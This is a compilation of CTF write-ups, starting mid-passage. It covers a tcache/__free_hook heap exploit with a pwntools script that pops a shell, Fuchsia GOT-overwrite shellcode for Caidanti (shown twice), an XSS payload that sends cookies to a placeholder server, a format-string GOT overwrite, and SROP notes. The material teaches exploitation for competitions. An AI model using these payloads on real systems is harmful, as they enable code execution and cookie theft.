As you can see, that chunk is in the tcache. Next we will allocate it:```gef➤ x/100g 0x00005569212230000x556921223000: 0x0 0x2510x556921223010: 0x0 0x00x556921223020: 0x0 0x00x556921223030: 0x0 0x00x556921223040: 0x0 0x00x556921223050: 0x0 0x00x556921223060: 0x0 0x00x556921223070: 0x0 0x00x556921223080: 0x0 0x00x556921223090: 0x0 0x00x5569212230a0: 0x0 0x00x5569212230b0: 0x0 0x00x5569212230c0: 0x0 0x00x5569212230d0: 0x0 0x00x5569212230e0: 0x0 0x00x5569212230f0: 0x0 0x00x556921223100: 0x0 0x00x556921223110: 0x0 0x00x556921223120: 0x0 0x00x556921223130: 0x0 0x00x556921223140: 0x0 0x00x556921223150: 0x0 0x00x556921223160: 0x0 0x00x556921223170: 0x0 0x00x556921223180: 0x0 0x00x556921223190: 0x0 0x00x5569212231a0: 0x0 0x00x5569212231b0: 0x0 0x00x5569212231c0: 0x0 0x00x5569212231d0: 0x0 0x00x5569212231e0: 0x0 0x00x5569212231f0: 0x0 0x00x556921223200: 0x0 0x00x556921223210: 0x0 0x00x556921223220: 0x0 0x00x556921223230: 0x0 0x00x556921223240: 0x0 0x00x556921223250: 0x0 0x210x556921223260: 0x0 0x00x556921223270: 0x0 0x20d910x556921223280: 0x0 0x00x556921223290: 0x0 0x00x5569212232a0: 0x0 0x00x5569212232b0: 0x0 0x00x5569212232c0: 0x0 0x00x5569212232d0: 0x0 0x00x5569212232e0: 0x0 0x00x5569212232f0: 0x0 0x00x556921223300: 0x0 0x00x556921223310: 0x0 0x0```
Now `ptrCopy` is set equal to `0x556921223010`. We will write to the tcache idx block. We will write to the beginning of the first idx, the libc address of `free` (which we know from the earlier infoleak), and also set the idx count to `0x1`. Also one thing I did here is I put `/bin/sh\x00` at `0x556921223050`, however that ended up not being needed:
```gef➤ x/100g 0x00005569212230000x556921223000: 0x0 0x2510x556921223010: 0x1 0x00x556921223020: 0x0 0x00x556921223030: 0x0 0x00x556921223040: 0x0 0x00x556921223050: 0x7f9c2755b8e8 0x68732f6e69622f0x556921223060: 0x0 0x00x556921223070: 0x0 0x00x556921223080: 0x0 0x00x556921223090: 0x0 0x00x5569212230a0: 0x0 0x00x5569212230b0: 0x0 0x00x5569212230c0: 0x0 0x00x5569212230d0: 0x0 0x00x5569212230e0: 0x0 0x00x5569212230f0: 0x0 0x00x556921223100: 0x0 0x00x556921223110: 0x0 0x00x556921223120: 0x0 0x00x556921223130: 0x0 0x00x556921223140: 0x0 0x00x556921223150: 0x0 0x00x556921223160: 0x0 0x00x556921223170: 0x0 0x00x556921223180: 0x0 0x00x556921223190: 0x0 0x00x5569212231a0: 0x0 0x00x5569212231b0: 0x0 0x00x5569212231c0: 0x0 0x00x5569212231d0: 0x0 0x00x5569212231e0: 0x0 0x00x5569212231f0: 0x0 0x00x556921223200: 0x0 0x00x556921223210: 0x0 0x00x556921223220: 0x0 0x00x556921223230: 0x0 0x00x556921223240: 0x0 0x00x556921223250: 0x0 0x210x556921223260: 0x0 0x00x556921223270: 0x0 0x20d910x556921223280: 0x0 0x00x556921223290: 0x0 0x00x5569212232a0: 0x0 0x00x5569212232b0: 0x0 0x00x5569212232c0: 0x0 0x00x5569212232d0: 0x0 0x00x5569212232e0: 0x0 0x00x5569212232f0: 0x0 0x00x556921223300: 0x0 0x00x556921223310: 0x0 0x0gef➤ x/g 0x7f9c2755b8e80x7f9c2755b8e8 <__free_hook>: 0x0```
Proceeding that we will allocate the chunk to the free hook:```gef➤ x/100g 0x00005569212230000x556921223000: 0x0 0x2510x556921223010: 0x0 0x00x556921223020: 0x0 0x00x556921223030: 0x0 0x00x556921223040: 0x0 0x00x556921223050: 0x0 0x68732f6e69622f0x556921223060: 0x0 0x00x556921223070: 0x0 0x00x556921223080: 0x0 0x00x556921223090: 0x0 0x00x5569212230a0: 0x0 0x00x5569212230b0: 0x0 0x00x5569212230c0: 0x0 0x00x5569212230d0: 0x0 0x00x5569212230e0: 0x0 0x00x5569212230f0: 0x0 0x00x556921223100: 0x0 0x00x556921223110: 0x0 0x00x556921223120: 0x0 0x00x556921223130: 0x0 0x00x556921223140: 0x0 0x00x556921223150: 0x0 0x00x556921223160: 0x0 0x00x556921223170: 0x0 0x00x556921223180: 0x0 0x00x556921223190: 0x0 0x00x5569212231a0: 0x0 0x00x5569212231b0: 0x0 0x00x5569212231c0: 0x0 0x00x5569212231d0: 0x0 0x00x5569212231e0: 0x0 0x00x5569212231f0: 0x0 0x00x556921223200: 0x0 0x00x556921223210: 0x0 0x00x556921223220: 0x0 0x00x556921223230: 0x0 0x00x556921223240: 0x0 0x00x556921223250: 0x0 0x210x556921223260: 0x0 0x00x556921223270: 0x0 0x20d910x556921223280: 0x0 0x00x556921223290: 0x0 0x00x5569212232a0: 0x0 0x00x5569212232b0: 0x0 0x00x5569212232c0: 0x0 0x00x5569212232d0: 0x0 0x00x5569212232e0: 0x0 0x00x5569212232f0: 0x0 0x00x556921223300: 0x0 0x00x556921223310: 0x0 0x0```
Now that `ptrCopy` is set to the free hook, we will write to it the address of `system`. I originally tried using a onegadget, however they didn't work for me in this case:```gef➤ x/g 0x7f9c2755b8e80x7f9c2755b8e8 <__free_hook>: 0x7f9c271bd440gef➤ x/g 0x7f9c271bd4400x7f9c271bd440 <system>: 0xfa66e90b74ff8548```
Now `ptr` is set to the free hook at `0x7f9c2755b8e8`, in the libc. Next we will free the string `/bin/sh\x00` in the libc, by passing our argument to free to be the offset between the free hook and that string. When we do that, the free hook gets called with the argument to free which is a pointer to `/bin/sh`. This calls `system("/bin/sh")`.
## Exploit
Putting it all together, we have the following exploit:
```from pwn import *
#target = remote("pwn.chal.csaw.io", 1008)target = process('./popping_caps', env={"LD_PRELOAD":"./libc.so.6"})#gdb.attach(target, gdbscript='pie b *0xbca')
elf = ELF("popping_caps")libc = ELF("libc.so.6")
leak = target.recvuntil("Here is system ")leak = target.recvline()leak = leak.strip("\n")leak = int(leak, 16)
libcBase = leak - libc.symbols["system"]print "libc base: " + hex(libcBase)
def pl(): print target.recvuntil("Your choice:")
def malloc(x): pl() target.sendline("1") print target.recvuntil("How many:") target.sendline(str(x))
def write(x): pl() target.sendline("3") print target.recvuntil("Read me in:") target.send(x)
def free(x): pl() target.sendline("2") print target.recvuntil("Whats in a free:") target.sendline(str(x))
malloc(0)
free(-592)
malloc(0x240)
payload = p64(0x1) + p64(0x0)*7 + p64(libcBase + libc.symbols["__free_hook"]) + "/bin/sh\x00"
write(payload)
malloc(0)
write(p64(libcBase + libc.symbols["system"]))
free(-2333262)
target.interactive()```
When we run it:```$ python roland.py[+] Starting local process './popping_caps': pid 3993[*] '/home/guyinatuxedo/Desktop/roland/popping_caps' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] '/home/guyinatuxedo/Desktop/roland/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledlibc base: 0x7f3a7d695000You have 7 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: How many: BANG!You have 6 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Whats in a free: BANG!You have 5 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: How many: BANG!You have 4 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Read me in: BANG!You have 3 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: How many: BANG!You have 2 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Read me in: BANG!You have 1 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Whats in a free:[*] Switching to interactive mode $ w 22:52:12 up 39 min, 1 user, load average: 0.00, 0.02, 0.01USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATguyinatu :0 :0 22:13 ?xdm? 32.21s 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu$ lscore libc.so.6 popping_caps roland.py solved.py```
Just like that, we popped a shell! |
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Caidanti was a reverse/pwn task with two flags.
The task had two binaries - `caidanti` and `caidanti-storage-service`, running on Google's Fuchsia operating system, which is currently under active development.
Fuchsia is based on custom microkernel called Zircon, and as such have completely different set of system calls when compared to, for example, Linux or other Unix-like operating system.
You can communicate with `caidanti` binary over the network, which in turn communicates with `caidanti-storage-service` over [FIDL IPC](https://fuchsia.googlesource.com/docs/+/ea2fce2874556205204d3ef70c60e25074dc7ffd/development/languages/fidl/tutorial.md).
Both flags are only available in the `caidanti-storage-service`, so gaining code execution just in `caidanti` is insufficient.
## Flag 1
Getting the first flag required a fair amount of reverse engineering.
First, `caidanti` has an option to execute arbitrary shellcode. By looking at return address of the function, we can determine the base of the binary, read any data and call any functions.
The code is written in C++, and the class that handles the backend communication has unused function that does "GetFlag1" remote call. So we can call it from our shellcode.
The function takes two parameters, both of which are `std::string` (or something similar).
Second, the implementation of this function on `caidanti-storage-service` side returns the flag in the second argument if the first argument is string `"YouMadeAFIDLCall"` (this check is obfuscated).
I decided to write the shellcode in C, which is doable if you use a proper compilation flags and linker script.
```ctypedef struct std_string { union { struct { char s[23]; unsigned char len; } inlinestr; struct { char *buf; size_t len; size_t cap; } bigstr; };} std_string;
static char *std_string_data(std_string *self) { if (self->inlinestr.len & 0x80) { return self->bigstr.buf; } else { return &self->inlinestr.s[0]; }}
void _start(void) { char *binary_base = __builtin_return_address(0) - 0x7205;
int (*printf)(const char *fmt, ...) = binary_base + 0x10C40;
printf("\n");
printf("Binary base: %p\n", binary_base);
struct std_string param2 = {.inlinestr = {.s = "YouMadeAFIDLCall", .len = 16} }; struct std_string param3 = {0};
printf("%s\n", std_string_data(¶m2)); void (*sub_7F00)(void *, void *, void *) = binary_base + 0x7F00;
sub_7F00(*(void**)(binary_base + 0x12140), ¶m2, ¶m3);
printf("%s\n", std_string_data(¶m3));
return;}```
## Flag 2
The second part is trickier. The second flag is stored in a file which is not normally read, so we need to gain code execution in `caidanti-storage-service`.
What we didn't use so far is that except "GetFlag1" function, the service also provides some note taking functionality (our belowed pwn cliché).
Note viewing and editing is implemented with shared memory. When viewing/editing is requested, the service sends a virtual memory handle to the client. The client maps it in its memory, reads/update the string, and unmaps the region. Since it's a shared memory, any changed done by `caidanti` are immediately reflected by `caidanti-storage-service`.
The bug is that the memory area being sent over includes not only the inline char buffer (which can be updated relatively safely), but also some vtable pointers and `std::string`s.
```ctypedef struct { unsigned char used; std_string key; char value[256];} secret_t;
typedef struct { void *vtable1; // skip secret_t secrets[16];} shit_t;```
To read arbitrary memory, we point some note's `key` buffer to memory we want to read, set `len` and `capacity` accordingly, and call `ListKeys` function.
When new note is created, the new name is assigned (`operator=`) to the existing `std::string` instance. If its `capacity` is already enough to hold the new string, the new data is simply copied to the existing `buffer`. So to implement the arbitrary write primitive, we mark a note unused, set `buffer` and `capacity` accordingly, and create a new note with `key` is the data we want to write.
These primitives are very powerful, and quite likely it's possible to do the stack pivot and obtain arbitrary shellcode execution.
However, there's a much simpler solution.
When `caidanti-storage-service` is run, it checks that the second flag is readable. It does so by calling `open`, but it doesn't call `close` afterwards. Which means the second flag hangs around with fd=3 (even though Zircon doesn't have a concept of file descriptors, the C library has them as an POSIX-compatible abstraction (to my knowledge, the same thing happens on Windows)).
The `GetFlag1` function calls `open` to open the first flag, and then sends it back to the user. Naturally, we started looking for some gadget that returns `3` in `eax` register, so we could overwrite `open` GOT entry with it (which luckily was writeable).
And we found it:```cpid_t __cdecl stub_getpid(){ return 3;}```
```asmpush rbp ; Alternative name is 'getpid'mov rbp, rspmov eax, 3pop rbpretn```
After patching the `open` GOT entry, the function that used to return the first flag now returns the second flag. And that's it.
```c
void _start(void) { char *binary_base = __builtin_return_address(0) - 0x7205; char *service_base; char *libc_base;
int (*printf)(const char *fmt, ...) = binary_base + 0x10C40; printf("\n"); printf("Binary base: %p\n", binary_base);
REBASE_FUNCTIONS(binary_base);
const void *FOO = *(void**)(binary_base + 0x12140); { struct std_string key = INIT_STRING("hui"); struct std_string value = INIT_STRING("test"); int new_id; create_secret(FOO, &key, &value, &new_id); } shit_t *shit;
{ struct std_string key = INIT_STRING("hui"); int *handle = 0; read_secret(FOO, &key, &handle); zx_vaddr_t res; zx_vmar_map(zx_vmar_root_self(), ZX_VM_PERM_READ | ZX_VM_PERM_WRITE, 0, *handle, 0, 8192, &res;;
shit = (shit_t*)res; }
service_base = shit->vtable1 - 0x13060; printf("storage-service base: %p\n", service_base);
shit->secrets[0].used = 1; shit->secrets[0].key.bigstr.buf = service_base + 0x140B8; // strlen shit->secrets[0].key.bigstr.len = 256; shit->secrets[0].key.bigstr.cap = 256 | BIGSTRING; { stringvector_t hui = {0, 0}; list_secrets(FOO, &hui); while (hui.begin < hui.end) { uintptr_t *ptr = std_string_data(hui.begin); printf(" %p\n", *ptr); libc_base = *ptr - 0x98530; hui.begin += 32; break; } } printf("libc base: %p\n", libc_base);
shit->secrets[0].used = 0; shit->secrets[0].key.bigstr.buf = service_base + 0x14018; /// open shit->secrets[0].key.bigstr.len = 0; shit->secrets[0].key.bigstr.cap = 256 | BIGSTRING; { struct std_string key = {.inlinestr = {.len = 8}}; *(uintptr_t*)&key = libc_base + 0x9D270; // "return 3" gadget
struct std_string value = INIT_STRING("AAAAAAAA"); int new_id; create_secret(FOO, &key, &value, &new_id); }
{ struct std_string param = INIT_STRING("YouMadeAFIDLCall"); struct std_string value = {}; get_flag1(FOO, ¶m, &value);
printf("%s\n", std_string_data(&value)); }
return;}``` |
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|
Caidanti was a reverse/pwn task with two flags.
The task had two binaries - `caidanti` and `caidanti-storage-service`, running on Google's Fuchsia operating system, which is currently under active development.
Fuchsia is based on custom microkernel called Zircon, and as such have completely different set of system calls when compared to, for example, Linux or other Unix-like operating system.
You can communicate with `caidanti` binary over the network, which in turn communicates with `caidanti-storage-service` over [FIDL IPC](https://fuchsia.googlesource.com/docs/+/ea2fce2874556205204d3ef70c60e25074dc7ffd/development/languages/fidl/tutorial.md).
Both flags are only available in the `caidanti-storage-service`, so gaining code execution just in `caidanti` is insufficient.
## Flag 1
Getting the first flag required a fair amount of reverse engineering.
First, `caidanti` has an option to execute arbitrary shellcode. By looking at return address of the function, we can determine the base of the binary, read any data and call any functions.
The code is written in C++, and the class that handles the backend communication has unused function that does "GetFlag1" remote call. So we can call it from our shellcode.
The function takes two parameters, both of which are `std::string` (or something similar).
Second, the implementation of this function on `caidanti-storage-service` side returns the flag in the second argument if the first argument is string `"YouMadeAFIDLCall"` (this check is obfuscated).
I decided to write the shellcode in C, which is doable if you use a proper compilation flags and linker script.
```ctypedef struct std_string { union { struct { char s[23]; unsigned char len; } inlinestr; struct { char *buf; size_t len; size_t cap; } bigstr; };} std_string;
static char *std_string_data(std_string *self) { if (self->inlinestr.len & 0x80) { return self->bigstr.buf; } else { return &self->inlinestr.s[0]; }}
void _start(void) { char *binary_base = __builtin_return_address(0) - 0x7205;
int (*printf)(const char *fmt, ...) = binary_base + 0x10C40;
printf("\n");
printf("Binary base: %p\n", binary_base);
struct std_string param2 = {.inlinestr = {.s = "YouMadeAFIDLCall", .len = 16} }; struct std_string param3 = {0};
printf("%s\n", std_string_data(¶m2)); void (*sub_7F00)(void *, void *, void *) = binary_base + 0x7F00;
sub_7F00(*(void**)(binary_base + 0x12140), ¶m2, ¶m3);
printf("%s\n", std_string_data(¶m3));
return;}```
## Flag 2
The second part is trickier. The second flag is stored in a file which is not normally read, so we need to gain code execution in `caidanti-storage-service`.
What we didn't use so far is that except "GetFlag1" function, the service also provides some note taking functionality (our belowed pwn cliché).
Note viewing and editing is implemented with shared memory. When viewing/editing is requested, the service sends a virtual memory handle to the client. The client maps it in its memory, reads/update the string, and unmaps the region. Since it's a shared memory, any changed done by `caidanti` are immediately reflected by `caidanti-storage-service`.
The bug is that the memory area being sent over includes not only the inline char buffer (which can be updated relatively safely), but also some vtable pointers and `std::string`s.
```ctypedef struct { unsigned char used; std_string key; char value[256];} secret_t;
typedef struct { void *vtable1; // skip secret_t secrets[16];} shit_t;```
To read arbitrary memory, we point some note's `key` buffer to memory we want to read, set `len` and `capacity` accordingly, and call `ListKeys` function.
When new note is created, the new name is assigned (`operator=`) to the existing `std::string` instance. If its `capacity` is already enough to hold the new string, the new data is simply copied to the existing `buffer`. So to implement the arbitrary write primitive, we mark a note unused, set `buffer` and `capacity` accordingly, and create a new note with `key` is the data we want to write.
These primitives are very powerful, and quite likely it's possible to do the stack pivot and obtain arbitrary shellcode execution.
However, there's a much simpler solution.
When `caidanti-storage-service` is run, it checks that the second flag is readable. It does so by calling `open`, but it doesn't call `close` afterwards. Which means the second flag hangs around with fd=3 (even though Zircon doesn't have a concept of file descriptors, the C library has them as an POSIX-compatible abstraction (to my knowledge, the same thing happens on Windows)).
The `GetFlag1` function calls `open` to open the first flag, and then sends it back to the user. Naturally, we started looking for some gadget that returns `3` in `eax` register, so we could overwrite `open` GOT entry with it (which luckily was writeable).
And we found it:```cpid_t __cdecl stub_getpid(){ return 3;}```
```asmpush rbp ; Alternative name is 'getpid'mov rbp, rspmov eax, 3pop rbpretn```
After patching the `open` GOT entry, the function that used to return the first flag now returns the second flag. And that's it.
```c
void _start(void) { char *binary_base = __builtin_return_address(0) - 0x7205; char *service_base; char *libc_base;
int (*printf)(const char *fmt, ...) = binary_base + 0x10C40; printf("\n"); printf("Binary base: %p\n", binary_base);
REBASE_FUNCTIONS(binary_base);
const void *FOO = *(void**)(binary_base + 0x12140); { struct std_string key = INIT_STRING("hui"); struct std_string value = INIT_STRING("test"); int new_id; create_secret(FOO, &key, &value, &new_id); } shit_t *shit;
{ struct std_string key = INIT_STRING("hui"); int *handle = 0; read_secret(FOO, &key, &handle); zx_vaddr_t res; zx_vmar_map(zx_vmar_root_self(), ZX_VM_PERM_READ | ZX_VM_PERM_WRITE, 0, *handle, 0, 8192, &res;;
shit = (shit_t*)res; }
service_base = shit->vtable1 - 0x13060; printf("storage-service base: %p\n", service_base);
shit->secrets[0].used = 1; shit->secrets[0].key.bigstr.buf = service_base + 0x140B8; // strlen shit->secrets[0].key.bigstr.len = 256; shit->secrets[0].key.bigstr.cap = 256 | BIGSTRING; { stringvector_t hui = {0, 0}; list_secrets(FOO, &hui); while (hui.begin < hui.end) { uintptr_t *ptr = std_string_data(hui.begin); printf(" %p\n", *ptr); libc_base = *ptr - 0x98530; hui.begin += 32; break; } } printf("libc base: %p\n", libc_base);
shit->secrets[0].used = 0; shit->secrets[0].key.bigstr.buf = service_base + 0x14018; /// open shit->secrets[0].key.bigstr.len = 0; shit->secrets[0].key.bigstr.cap = 256 | BIGSTRING; { struct std_string key = {.inlinestr = {.len = 8}}; *(uintptr_t*)&key = libc_base + 0x9D270; // "return 3" gadget
struct std_string value = INIT_STRING("AAAAAAAA"); int new_id; create_secret(FOO, &key, &value, &new_id); }
{ struct std_string param = INIT_STRING("YouMadeAFIDLCall"); struct std_string value = {}; get_flag1(FOO, ¶m, &value);
printf("%s\n", std_string_data(&value)); }
return;}``` |
# Mission Invisible
**Points: 128**
**37 Solves**
**Challenge description**:
You need to obtain the flag through two different invisible places.
http://52.52.236.217:16401/
Submit payload here: http://52.52.236.217:16403/---
The page loads some javascript. After defining some function the script calls three functions.
```var tag = getUrlParam("tag");setCookie("tag", tag);setElement(tag);```
This is simplification on what they do
`getUrlParam(name)`
- gets the value of some URL parameter- (`http://52.52.236.217:16401/?tag=test`) `getUrlParam("tag") -> test` Note: the parameter is unescaped
`setCookie(name,value)`
- sets the value of a cookie- `setCookie("tag","test"); document.cookie -> "tag=test"`
`setElement(tag)`
- creates an element of the type `tag`, sets its attributes to the value of the cookie `attrs` and appends it to the body- `setElement("img") -> Uncaught DOMException: Failed to execute 'setAttribute' on 'Element': '' is not a valid attribute name.` Note: before creating the element the tag is trimmed to length 1, it calls `getCookie("attrs").split("&";;` to get the attributes
`getCookie(name)`
- searches `document.cookie` for `name+"="`, returns everything after that until the next `;` if any and unescapes it.- (`document.cookie = "test=abc"`) `getCookie("test") -> "abc"`
Note: it does not check whether it is the name or a value
- (`document.cookie = "test=abc=def"`) `getCookie("test") -> "abc=def"` but `getCookie("abc") -> "def"`
Knowing this we can make our `tag` cookie look like it contains a `attrs` cookie. The tag has to be a single character like `a,p,...`. This results in a payload like `?tag=pattrs=test=a` to create ``. By abusing the fact that our cookie gets unescaped before it is returned from `getCookie` and the parameter value is also unescaped we can double encode a `&` to create multiple attributes. `?tag=pattrs=test=a%2526test2=b` creates ````.
### Executing javascriptTo execute javascript we can abuse DOM Events like `click, error, ...`. Normally someone would just create an `img` with an `onerror or onload` attribute, but we can't do this because we can only create one-char tags. But we can use the `animationstart` event which is triggered as soon as an animation for the tag starts. By using the style attribute we can set an animation like this: `?tag=pattrs=onanimationstart=alert()%2526style=animation-name:"youranimationhere"` The page loads `assets/css/bootstrap.min.css` at the beginning as a stylesheet. By searching for `@keyframes` in that css file the following can be found:```[...]@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}[...]```Therefore we can use `progress-bar-stripes` as the animation.And by using `?tag=pattrs=onanimationstart=alert()%2526style=animation-name:progress-bar-stripes` as the payload we get our beloved alert box.
To get the flag we can create a request to our web server containing the cookie using javascript.e.g. ``http://52.52.236.217:16401/?tag=pattrs=onanimationstart=document.body.appendChild(document.createElement(%27script%27)).setAttribute(%27src%27,`https://yourserverhere/${document.cookie}`)%2526style=animation-name:progress-bar-stripes`` |
tl;dr:1. Notice strange function called after winning the game2. Reverse a bit, dump parameters with debugger3. Solve set of linear equations to recover flag
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-09-14-realworld-quals/puzzle |
tl;dr:1. Notice we can change public key every time we issue commands2. Grab server public key point Q3. Calculate "fake" public key S = P-Q4. Withdraw using key S, so that S+Q = P for which we know private key
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-09-14-realworld-quals/bank |
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We are given a statically linked binary with no PIE, and a helper client. We used the client to quickly deduce how to communicate with the server, by observing network traffic. Reversing the server turns out to be not too difficult; some reversing yields a function name xdr_string from an error message. From this we can deduced that Sun RPC XDR (eXternal Data Representation) objects are being used to communicate between the server and the client, and many of the important functions and structures can be filled in.
**Full Writeup:** [https://github.com/pwning/public-writeup/tree/master/rwctf2019/pwn_faX_senDeR](https://github.com/pwning/public-writeup/tree/master/rwctf2019/pwn_faX_senDeR) |
We're given a bundle that launches a Fuchsia VM. We're also given a nice menu-style pwnable with which we're all duly familiar. This one is great though because if you use menu option 114514, it will execute your shellcode! How hard can this be?
**Full Writeup:** [https://github.com/pwning/public-writeup/tree/master/rwctf2019/caidanti](https://github.com/pwning/public-writeup/tree/master/rwctf2019/caidanti) |
Note that we didn't solve this challenge. If you want to see the solution directly please see
- [@trichimtrich's svg XSS](https://twitter.com/trichimtrich/status/1173492135993073664)- [@stereotype32's utf-16 payload](https://twitter.com/stereotype32/status/1173422028847599616?s=21) |
TLDR
1. Check that to get the flag we must sign WITHDRAW in a multisignature together with the bank.
2. The multisignature is done by computing an aggregated key from the composition of the two keys using the binary group operation.
3. Use a so-called rogue-key attack to forge a signature that looks like it was signed by both users.
|
This problem is fairly straightforward. Since we already know that there should be two main classes then K-means clustering with K=2 is the first method we try.
See URL for [full implementation](https://github.com/pberba/ctf-solutions/blob/master/20190907-trendmicro/wild-100/solution.ipynb) |
We're given the Python implementation for a server which implements a "bank" with cryptographic signatures, and a host/port for the server.The server uses Schnorr signatures over an elliptic curve to verify messages. You can provide your own public key, then either provide a signed message for a DEPOSIT command (to deposit one "coin") or a multi-signed message for a WITHDRAW command which gives you a flag.The multi-signed message must be signed with a combination of your key and the "bank manager"'s key; you get their public key.
**Full writeup:** [https://github.com/pwning/public-writeup/blob/master/rwctf2019/crypto_bank](https://github.com/pwning/public-writeup/blob/master/rwctf2019/crypto_bank) |
Reading the source code we see that the arduino creates a QR code and sets up a display to show this QR code. We get i2c logs between the communication of the arduino and the display. Going through the library used, we can easily see the structure of the messages and how each pixel is sent to the display.
We decode the logs to get the display and get the flag from the resulting QR code.
See URL for [full implementation](https://github.com/pberba/ctf-solutions/blob/master/20190907-trendmicro/iot-100/solution.ipynb) |
# CSAW CTF Quals 2019
## Reverse
### Beleaf - 50 pts
> tree sounds are best listened to by https://binary.ninja/demo or ghidra
[beleaf](rev/beleaf/beleaf)
Since this is a beginner challenge, I'll go fairly in-depth for this challenge.The TLDR is that the array referenced in `main` is a list of indexes into thearray referenced in `sub_7fa`. If you concatenate all these characters togetheryou get the flag.
Inspecting `main()`, we see the framework for a standard reversing challenge.
Here's a breakdown of what's happening (note that these addresses correspond tothose shown in Binja's MLIL view, so they might not include all instructionsthat perform the action specified in the description column; the addresseslisted are for quick reference only):
| address | description | C equivalent ||----------------|------------------------------------------------------------------------------------------|---------------------------------------------|| `0x8e0..0x8ef` | string (the flag) is read from stdin into `var_98` (which I'll call `flag`) | `char flag[0x88]; fgets("%s", flag);` || `0x8fb..0x903` | the string length of the flag is taken and stored in `var_a8` (which I'll call `len`) | `size_t len = strlen(flag);` || `0x912` | check if `len` is greater than 32 | `if (len > 0x20) {` || `0x92a` | a counter variable (I'll call it `i`) is initialized to 0 | ` int i;` || `0x99d..0x9ab` | a loop is set up to execute until `i == len` | ` while (i < len) {` || `0x93e..0x94e` | a single character (`c`) is taken from `flag` at position `i` | ` char c = flag[i];` || `0x950` | some checker function (`get_index`, we'll see why I name it this later) is called on `c` | ` int index = get_index(c);` || `0x955..0x97d` | the index from `get_index(c)` is compared against some global array | ` if (index == expected_indexes[i])` || `0x995` | `i` is incrememnted and the loop is continued | ` i++;` || `0x986..990` | we lose | ` else { puts("Incorrect!"); exit(1); }` || `0x9b4` | we win | ` } puts("Correct!");` || `0x91b` | we lose | `} puts("Incorrect!"); exit(1);` |
Let's examine `sub_7fa` (`get_index`):
I won't go into as much detail about reversing this function, but here's anapproximation in C:
```cint32_t bst[300];
int32_t get_index(char c) { int32_t idx = 0; while (idx != -1) { if (c == bst[idx]) break;
if (c < bst[idx]) idx = 2*idx + 1; else if (c > bst[idx]) idx = 2*idx + 2; } return idx;}```
On closer examination of `bst` (address `0x201020`), it appears to be a [BinarySearch Tree](https://en.wikipedia.org/wiki/Binary_search_tree) of sorts.However, this isn't important to solving the challenge. We can simply think ofit as a list that assignes each unique character in the flag a unique index intothe list.
Let's think about what the possible return values of `get_index` can be. Thereis only one place that it can return from, so that simplifies things a bit. Thereturn value of `get_index` will always be `idx`
Now what are the possible values of `idx` at the return statement. The returnstatement directly follows the while statement, and there are only two exitsfrom the while statement: a) failing the condition (`idx != -1` is false), or b)encountering the `break` statement. If we encounter (a), then `idx` must be `-1`(`0xffffffff` since it's a `int32_t`), though this is unlikely, since `idx`would have to grow to very large numbers before hitting `0xffffffff` and wewould likely hit a segfault before it ever gets to be that large.
The most like case is that we've hit the `break` statement, which means that `c== bst[id]`. This is a very simple constraint. In fact, it allows us toessentially ignore the rest of the logic of this function. Since the returnvalue of `get_index(c)` is `idx`, and since we have shoen that it must be truethat `c == bst[idx]`, then it must be true that `get_index(bst[idx]) == idx`.
__Essentially__ what all this means is that `get_index` simply searches for `c`in `bst` and returns the index at which it found it. We can exploit this simpleproperty to determine each character of the flag.
In the array `expected_indexes` (address `0x2014e0`), we have the expectedreturn values of `get_index`. Each value in this array is simply an index into`bst`, so we can reconstruct the flag quite easily.
```1) get_index(bst[i]) == i (this is the characteristic property of get_index)2) get_index(bst[expected_indexes[i]]) == expected_indexes[i] (by replacing i with expected_indexes[i])3) get_index(flag[i]) == expected_indexes[i] (by analysis of main())4) get_index(flag[i]) == get_index(bst[expected_indexes[i]]) (by 1 and 2)5) flag[i] == bst[expected_indexes[i]] (by 4)```
Once we've learned this, the actual solution is quite simple. See [sol.py](rev/beleaf/sol.py)
## Pwn
### GOT Milk? - 50 pts> GlobalOffsetTable milk?> nc pwn.chal.csaw.io 1004
This is a simple format string vuln that can be used to overwrite a GOT address.I won't get into too much detail but the GOT entry is at `0x804a044`, and weneed to change it from `lose` to `win` (both found in `libmylib.so`). Luckily,their addresses only differ by one byte, so we can use a format string thatperforms a 1-byte overwrite:
\x10\xa0\x04\x08%1$133c%7$hhn\\n\\n
### small_boi - 100 pts> you were a baby boi earlier, can you be a small boi now?> nc pwn.chal.csaw.io 1002
[small_boi](pwn/small_boi/small_boi)
At only 4.8KiB and statically linked, this binary is very similar. We are onlygiven 4 functions:
- `sub_40017c` :: `syscall(15)`- `sub_40018a` :: `pop rax; ret`- `sub_40018c` :: `char buf[0x20]; read(0, buf, 0x200)`- `_start` :: `sub_40018c(); exit(0);`
So we have an obvious buffer overflow in `sub_40018c`, but NX is on so we can'texecute shellcode, there is no libc to return into, and there only seem to be 2or 3 gadgets in the executable. Interested what `sigreturn()` is I decided toconsult its man page:
> sigreturn, rt_sigreturn - return from signal handler and cleanup stack frame
Turns out, this syscall enables an entire variant of ROP:[SROP](https://en.wikipedia.org/wiki/Sigreturn-oriented_programming). All youneed is a `pop rax; ret` gadget and a single `syscall` instruction literallyanywhere in executable memory (or even better, a `mov eax, 15; syscall` as theauthor has given us). This enables us to call `sigreturn`, which lets us set anyof the general purpose registers (`r{a,b,c,d}x`, `r{d,s}i`, `r8..r15`), stackregisters (`r{s,b}p`), and most importantly `rip` (`eflags` and `cs` can also beset using a `sigreturn`).
Using this we can construct a call to `execve("/bin/sh", NULL, NULL)`, giving usa shell. Simple, we'll place `"/bin/sh"` on the stack in the buffer-overflowing`read()` call, et voilà! Oh wait, ASLR... we can't find a reliable stackaddress. Well, turns out the challenge writer has given us exactly one string in`.rodata`: `"/bin/sh"`!
See [sol.py](pwn/small_boi/sol.py) for the full solution. |
# CSAW CTF Quals 2019
## Reverse
### Beleaf - 50 pts
